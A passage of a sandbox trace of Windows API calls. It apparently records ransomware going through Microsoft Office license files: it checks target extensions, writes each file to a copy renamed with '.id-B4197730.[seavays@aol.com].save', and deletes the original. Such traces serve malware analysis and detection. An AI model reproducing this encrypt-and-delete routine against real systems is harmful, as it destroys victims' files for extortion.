(lpString1=".ppt", lpString2="m-ms") returned -1 [0186.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0186.670] lstrlenW (lpString=".zip") returned 4 [0186.670] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0186.670] lstrlenW (lpString=".rar") returned 4 [0186.670] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0186.670] lstrlenW (lpString=".bz2") returned 4 [0186.670] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0186.670] lstrlenW (lpString=".7z") returned 3 [0186.670] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0186.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0186.670] lstrlenW (lpString=".dbf") returned 4 [0186.670] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0186.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0186.670] lstrlenW (lpString=".1cd") returned 4 [0186.670] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0186.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0186.670] lstrlenW (lpString=".jpg") returned 4 [0186.670] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0186.671] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=19966) returned 1 [0186.671] CloseHandle (hObject=0x554) returned 1 [0186.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms")) returned 0x220 [0186.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0186.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0186.672] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.673] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0186.674] GetLastError () returned 0x0 [0186.674] ReadFile (in: hFile=0x554, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x4dfe, lpOverlapped=0x0) returned 1 [0186.679] WriteFile (in: hFile=0x388, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0186.680] ReadFile (in: hFile=0x554, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0186.680] WriteFile (in: hFile=0x388, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x11e, lpOverlapped=0x0) returned 1 [0186.680] SetEndOfFile (hFile=0x388) returned 1 [0186.681] CloseHandle (hObject=0x388) returned 1 [0186.681] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.681] SetEndOfFile (hFile=0x554) returned 1 [0186.684] CloseHandle (hObject=0x554) returned 1 [0186.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0186.685] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms")) returned 1 [0186.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0186.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0186.686] lstrlenW (lpString=".doc") returned 4 [0186.686] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0186.686] lstrlenW (lpString=".docx") returned 5 [0186.686] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0186.686] lstrlenW (lpString=".pdf") returned 4 [0186.686] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0186.686] lstrlenW (lpString=".xls") returned 4 [0186.686] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0186.686] lstrlenW (lpString=".xlsx") returned 5 [0186.687] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0186.687] lstrlenW (lpString=".ppt") returned 4 [0186.687] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0186.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0186.687] lstrlenW (lpString=".zip") returned 4 [0186.687] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0186.687] lstrlenW (lpString=".rar") returned 4 [0186.687] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0186.687] lstrlenW (lpString=".bz2") returned 4 [0186.687] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0186.687] lstrlenW (lpString=".7z") returned 3 [0186.687] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0186.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0186.687] lstrlenW (lpString=".dbf") returned 4 [0186.687] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0186.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0186.687] lstrlenW (lpString=".1cd") returned 4 [0186.687] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0186.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0186.687] lstrlenW (lpString=".jpg") returned 4 [0186.687] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0186.688] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=10655) returned 1 [0186.688] CloseHandle (hObject=0x554) returned 1 [0186.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms")) returned 0x220 [0186.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0186.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0186.690] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.690] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0186.702] GetLastError () returned 0x0 [0186.702] ReadFile (in: hFile=0x554, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x299f, lpOverlapped=0x0) returned 1 [0187.012] WriteFile (in: hFile=0x388, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x29a0, lpOverlapped=0x0) returned 1 [0187.029] ReadFile (in: hFile=0x554, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.029] WriteFile (in: hFile=0x388, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x110, lpOverlapped=0x0) returned 1 [0187.029] SetEndOfFile (hFile=0x388) returned 1 [0187.054] CloseHandle (hObject=0x388) returned 1 [0187.054] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.054] SetEndOfFile (hFile=0x554) returned 1 [0187.058] CloseHandle (hObject=0x554) returned 1 [0187.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0187.324] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms")) returned 1 [0187.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0187.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0187.760] lstrlenW (lpString=".doc") returned 4 [0187.760] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0187.760] lstrlenW (lpString=".docx") returned 5 [0187.760] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0187.760] lstrlenW (lpString=".pdf") returned 4 [0187.760] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0187.760] lstrlenW (lpString=".xls") returned 4 [0187.760] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0187.760] lstrlenW (lpString=".xlsx") returned 5 [0187.760] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0187.760] lstrlenW (lpString=".ppt") returned 4 [0187.760] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0187.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0187.760] lstrlenW (lpString=".zip") returned 4 [0187.760] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0187.760] lstrlenW (lpString=".rar") returned 4 [0187.760] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0187.760] lstrlenW (lpString=".bz2") returned 4 [0187.760] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0187.761] lstrlenW (lpString=".7z") returned 3 [0187.761] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0187.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0187.761] lstrlenW (lpString=".dbf") returned 4 [0187.761] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0187.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0187.761] lstrlenW (lpString=".1cd") returned 4 [0187.761] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0187.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0187.761] lstrlenW (lpString=".jpg") returned 4 [0187.761] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0188.517] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=10659) returned 1 [0188.517] CloseHandle (hObject=0x550) returned 1 [0188.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms")) returned 0x220 [0188.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0188.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0189.209] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.209] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0189.958] GetLastError () returned 0x0 [0189.958] ReadFile (in: hFile=0x444, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x29a3, lpOverlapped=0x0) returned 1 [0189.963] WriteFile (in: hFile=0x384, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x29b0, lpOverlapped=0x0) returned 1 [0189.964] ReadFile (in: hFile=0x444, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.964] WriteFile (in: hFile=0x384, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x112, lpOverlapped=0x0) returned 1 [0189.964] SetEndOfFile (hFile=0x384) returned 1 [0189.965] CloseHandle (hObject=0x384) returned 1 [0189.966] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.966] SetEndOfFile (hFile=0x444) returned 1 [0189.969] CloseHandle (hObject=0x444) returned 1 [0189.969] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0189.970] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms")) returned 1 [0189.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0189.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0189.972] lstrlenW (lpString=".doc") returned 4 [0189.972] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.972] lstrlenW (lpString=".docx") returned 5 [0189.972] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.972] lstrlenW (lpString=".pdf") returned 4 [0189.972] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.972] lstrlenW (lpString=".xls") returned 4 [0189.972] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.972] lstrlenW (lpString=".xlsx") returned 5 [0189.972] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.972] lstrlenW (lpString=".ppt") returned 4 [0189.972] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0189.972] lstrlenW (lpString=".zip") returned 4 [0189.972] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.972] lstrlenW (lpString=".rar") returned 4 [0189.972] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.972] lstrlenW (lpString=".bz2") returned 4 [0189.972] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.972] lstrlenW (lpString=".7z") returned 3 [0189.972] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0189.972] lstrlenW (lpString=".dbf") returned 4 [0189.972] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0189.973] lstrlenW (lpString=".1cd") returned 4 [0189.973] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0189.973] lstrlenW (lpString=".jpg") returned 4 [0189.973] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.974] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=22092) returned 1 [0189.974] CloseHandle (hObject=0x444) returned 1 [0189.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms")) returned 0x220 [0189.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0189.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0189.976] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.976] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0189.978] GetLastError () returned 0x0 [0189.978] ReadFile (in: hFile=0x444, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x564c, lpOverlapped=0x0) returned 1 [0189.980] WriteFile (in: hFile=0x384, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x5650, lpOverlapped=0x0) returned 1 [0189.982] ReadFile (in: hFile=0x444, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.982] WriteFile (in: hFile=0x384, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x114, lpOverlapped=0x0) returned 1 [0189.982] SetEndOfFile (hFile=0x384) returned 1 [0189.982] CloseHandle (hObject=0x384) returned 1 [0189.982] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.982] SetEndOfFile (hFile=0x444) returned 1 [0189.987] CloseHandle (hObject=0x444) returned 1 [0189.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0189.988] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms")) returned 1 [0189.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0189.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0189.989] lstrlenW (lpString=".doc") returned 4 [0189.989] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.989] lstrlenW (lpString=".docx") returned 5 [0189.989] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.989] lstrlenW (lpString=".pdf") returned 4 [0189.989] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.989] lstrlenW (lpString=".xls") returned 4 [0189.989] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.989] lstrlenW (lpString=".xlsx") returned 5 [0189.989] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.989] lstrlenW (lpString=".ppt") returned 4 [0189.989] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0189.989] lstrlenW (lpString=".zip") returned 4 [0189.990] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.990] lstrlenW (lpString=".rar") returned 4 [0189.990] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.990] lstrlenW (lpString=".bz2") returned 4 [0189.990] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.990] lstrlenW (lpString=".7z") returned 3 [0189.990] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0189.990] lstrlenW (lpString=".dbf") returned 4 [0189.990] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0189.990] lstrlenW (lpString=".1cd") returned 4 [0189.990] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0189.990] lstrlenW (lpString=".jpg") returned 4 [0189.990] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.991] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=11613) returned 1 [0189.991] CloseHandle (hObject=0x444) returned 1 [0189.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms")) returned 0x220 [0189.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 